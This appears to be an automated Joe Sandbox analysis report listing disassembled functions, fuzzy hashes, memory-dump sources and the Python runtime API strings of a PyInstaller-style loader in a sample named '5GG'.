Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41de09fd609196546d8b05baa0994189bc53ea50dddfb86cdccda31fca7eba1c
Instruction ID: 490df70678d0403491aa968791ef5852e21f186bbdef6a96fe03259f33b373fe
Opcode Fuzzy Hash: 41de09fd609196546d8b05baa0994189bc53ea50dddfb86cdccda31fca7eba1c
Instruction Fuzzy Hash: 2F812772A0C78546EBB4DF5994A4379B7A1FB87B90F844236DA8D83B85DF3CD0188B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C6D70 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3a6143a7b5f00f0189e4837f13cf3fad345f6e9eb837262b3e4ffc84bd4cc460
Instruction ID: 95a42eab0024c68b676b08ab3c7d11766fd0e91ecb11f7c215c5bd60f4018728
Opcode Fuzzy Hash: 3a6143a7b5f00f0189e4837f13cf3fad345f6e9eb837262b3e4ffc84bd4cc460
Instruction Fuzzy Hash: E4611C32E1C25646F774AA6C8470379E691AFC3F60F948237E61DC26C5DE3DE8098622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B1E94 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction ID: 7259469d1b627c07c9a05846e56284e4c45efcae9409c8ec0a30ea99c01b70ca
Opcode Fuzzy Hash: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction Fuzzy Hash: 42510972A1865A82E7A49F68C050338B3A0EB4AF58F645132CE4D877D8CF3AEC57C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B1A84 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction ID: 7f4ef27162c65079693c8b05c34e1290df80678ad60db4aa7ade9fedbf56315e
Opcode Fuzzy Hash: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction Fuzzy Hash: CE5109B2A1C65582E7A49F68C06433873B0EB86F68F646132CE4C87794DF3AE857C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B22A4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction ID: a4198cc4a1b4f34191b2e8415932e175891cc5d1451de6f38e4350cfcd32fac0
Opcode Fuzzy Hash: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction Fuzzy Hash: 1051E732A1C65582E7A49B79C06033CB3A0EB56F58FA45232CE4C87794CF3AE847C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B1880 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction ID: bd05cff0de66040fd5811c68bf87d6ea3b995ff2160bd1bf4cd98f6281f694ba
Opcode Fuzzy Hash: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction Fuzzy Hash: 005106B2B1879581E7A49B69C06033CB3A1EB4AF58F646132CE4C87794CF3AE846C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B20A0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction ID: d0dbdb33fe5497d07bd9aa88efc77a95e1e4283a0c1d1343de5b09c16c126f8a
Opcode Fuzzy Hash: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction Fuzzy Hash: D651E632A1C65981E7A89B68C06033DB3A1EB4AF58FA44132CF4C97794CB3AEC57C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B1C90 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction ID: 84cd5f8d8d5c1af8f752051adc9cbf183cc267c54ebe4d90ce1dc106700edba7
Opcode Fuzzy Hash: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction Fuzzy Hash: DA5109B2A18A5981E7A49B68D06033CB3B0EB46F58FA45132CE4C87794CF3AF847C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B5F30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: f1fd88a7477a336df3177e6cd692b9b1933c9370441bbdcf0875a40782941845
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 7C41D57280EB4E44E9E1999905207F4FA849F23FA0DD852B6DD99973CADC3D258F8123

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BA430 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 2970ddd5f501fe71afef01217e103934546d8fb7f20af68bec1b913dc8647c23
Instruction ID: 9977381accbc8a08cb71aca29d678f91001a526c8bea563938a907b90766c415
Opcode Fuzzy Hash: 2970ddd5f501fe71afef01217e103934546d8fb7f20af68bec1b913dc8647c23
Instruction Fuzzy Hash: 56410672714A5882FF54DF6AD928269B3E1A749FD0B889033DE0DC7B58DE3DD14A8311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B7C98 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction ID: d5f118d8f2c2c735736c3f009ff802488d26b12cd3f01c4941db605c92375dbe
Opcode Fuzzy Hash: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction Fuzzy Hash: 6B31F432708B4642E7A4EF65A45037EA6D4ABC6FD0F44423AEA4D93BD6DF3CD1068315

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C9E40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dada551c461b21fdad657b6bac4cbdfad31b05eb9b59333086b2e0a15b162055
Instruction ID: c08cf3d6c9d4a76fcd0ff56c25eb5db3d4f791e1f5c458472de25e0b709f9bec
Opcode Fuzzy Hash: dada551c461b21fdad657b6bac4cbdfad31b05eb9b59333086b2e0a15b162055
Instruction Fuzzy Hash: 4FF068B1B182558AEB949F29A41272977D0F7497C0FC0D07AD58DC7F14DA3C94548F15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AC760 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5749315d7b24dceccc8714b5042f108a7de79c1631c17c6a95dc8ed6b888950b
Instruction ID: f98d9a0edc06c35080a13dbcab59398ec8c4a77a4c45584d673f8f6a1339e735
Opcode Fuzzy Hash: 5749315d7b24dceccc8714b5042f108a7de79c1631c17c6a95dc8ed6b888950b
Instruction Fuzzy Hash: 9BA0016594884AD0E685AB10A864670A220EB92B41BE00032E10D810A1AF3CA5498222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A51E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A51F0
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A522A
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A524F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A5274
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A529C
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A52C4
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A52EC
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A5314
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A533C
GetProcAddress.KERNEL32(?,?,00000000,00007FF7E54A346E), ref: 00007FF7E54A5364

Strings

Failed to get address for PyConfig_Clear, xrefs: 00007FF7E54A5326
PyEval_EvalCode, xrefs: 00007FF7E54A54EA
Failed to get address for PyUnicode_FromString, xrefs: 00007FF7E54A5876
PyModule_GetDict, xrefs: 00007FF7E54A5602
PyImport_ExecCodeModule, xrefs: 00007FF7E54A553A
Failed to get address for PyMem_RawFree, xrefs: 00007FF7E54A55F6
Failed to get address for PyConfig_Read, xrefs: 00007FF7E54A5376
Failed to get address for PyStatus_Exception, xrefs: 00007FF7E54A575E
Failed to get address for PySys_GetObject, xrefs: 00007FF7E54A5786
Py_DecodeLocale, xrefs: 00007FF7E54A5220
PyErr_Restore, xrefs: 00007FF7E54A54C2
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF7E54A57D6
PyUnicode_FromString, xrefs: 00007FF7E54A585A
PyErr_Fetch, xrefs: 00007FF7E54A5422
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF7E54A52AE
Py_InitializeFromConfig, xrefs: 00007FF7E54A5292
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF7E54A55CE
Failed to get address for Py_ExitStatusException, xrefs: 00007FF7E54A5261
Failed to get address for Py_DecRef, xrefs: 00007FF7E54A5202
PyObject_CallFunction, xrefs: 00007FF7E54A562A
PyObject_GetAttrString, xrefs: 00007FF7E54A567A
Failed to get address for PyUnicode_Decode, xrefs: 00007FF7E54A57FE
PyConfig_Clear, xrefs: 00007FF7E54A530A
PyUnicode_Decode, xrefs: 00007FF7E54A57E2
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7E54A56F2
Py_IsInitialized, xrefs: 00007FF7E54A52BA
PyConfig_SetBytesString, xrefs: 00007FF7E54A5382
PyImport_AddModule, xrefs: 00007FF7E54A5512
PyObject_CallFunctionObjArgs, xrefs: 00007FF7E54A5652
PyErr_Clear, xrefs: 00007FF7E54A53FA
PyStatus_Exception, xrefs: 00007FF7E54A5742
Failed to get address for PyObject_CallFunction, xrefs: 00007FF7E54A5646
Failed to get address for PyConfig_SetString, xrefs: 00007FF7E54A53C6
PyConfig_SetString, xrefs: 00007FF7E54A53AA
PyUnicode_AsUTF8, xrefs: 00007FF7E54A57BA
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF7E54A539E
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF7E54A5556
PyErr_NormalizeException, xrefs: 00007FF7E54A544A
Failed to get address for Py_PreInitialize, xrefs: 00007FF7E54A52FE
Failed to get address for PyErr_Restore, xrefs: 00007FF7E54A54DE
Py_ExitStatusException, xrefs: 00007FF7E54A5245
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7E54A570E
PyMem_RawFree, xrefs: 00007FF7E54A55DA
Failed to get address for PyModule_GetDict, xrefs: 00007FF7E54A561E
Failed to get address for PyErr_Occurred, xrefs: 00007FF7E54A548E
Failed to get address for PyList_Append, xrefs: 00007FF7E54A55A6
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF7E54A56BE
Failed to get address for PyObject_Str, xrefs: 00007FF7E54A56E6
PyObject_SetAttrString, xrefs: 00007FF7E54A56A2
Failed to get address for Py_Finalize, xrefs: 00007FF7E54A5286
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF7E54A5466
Py_DecRef, xrefs: 00007FF7E54A51E6
PyErr_Print, xrefs: 00007FF7E54A549A
Failed to get address for PyEval_EvalCode, xrefs: 00007FF7E54A5506
PySys_GetObject, xrefs: 00007FF7E54A576A
Failed to get address for PySys_SetObject, xrefs: 00007FF7E54A57AE
PyConfig_SetWideStringList, xrefs: 00007FF7E54A53D2
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF7E54A5826
Failed to get address for Py_IsInitialized, xrefs: 00007FF7E54A52D6
PyObject_Str, xrefs: 00007FF7E54A56CA
Failed to get address for Py_DecodeLocale, xrefs: 00007FF7E54A523C
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF7E54A534E
PyRun_SimpleStringFlags, xrefs: 00007FF7E54A571A
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF7E54A584E
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF7E54A566E
PyImport_ImportModule, xrefs: 00007FF7E54A5562
Py_Finalize, xrefs: 00007FF7E54A526A
PyUnicode_DecodeFSDefault, xrefs: 00007FF7E54A580A
PyConfig_InitIsolatedConfig, xrefs: 00007FF7E54A5332
PyErr_Occurred, xrefs: 00007FF7E54A5472
PyMarshal_ReadObjectFromString, xrefs: 00007FF7E54A55B2
Py_PreInitialize, xrefs: 00007FF7E54A52E2
Failed to get address for PyUnicode_Replace, xrefs: 00007FF7E54A58C6
PyConfig_Read, xrefs: 00007FF7E54A535A
PyUnicode_Join, xrefs: 00007FF7E54A5882
Failed to get address for PyImport_AddModule, xrefs: 00007FF7E54A552E
PySys_SetObject, xrefs: 00007FF7E54A5792
GetProcAddress, xrefs: 00007FF7E54A5209
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF7E54A5696
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF7E54A5736
Failed to get address for PyErr_Fetch, xrefs: 00007FF7E54A543E
Failed to get address for PyErr_Print, xrefs: 00007FF7E54A54B6
Failed to get address for PyImport_ImportModule, xrefs: 00007FF7E54A557E
Failed to get address for PyUnicode_Join, xrefs: 00007FF7E54A589E
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF7E54A53EE
PyList_Append, xrefs: 00007FF7E54A558A
PyUnicode_Replace, xrefs: 00007FF7E54A58AA
PyUnicode_FromFormat, xrefs: 00007FF7E54A5832
Failed to get address for PyErr_Clear, xrefs: 00007FF7E54A5416

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
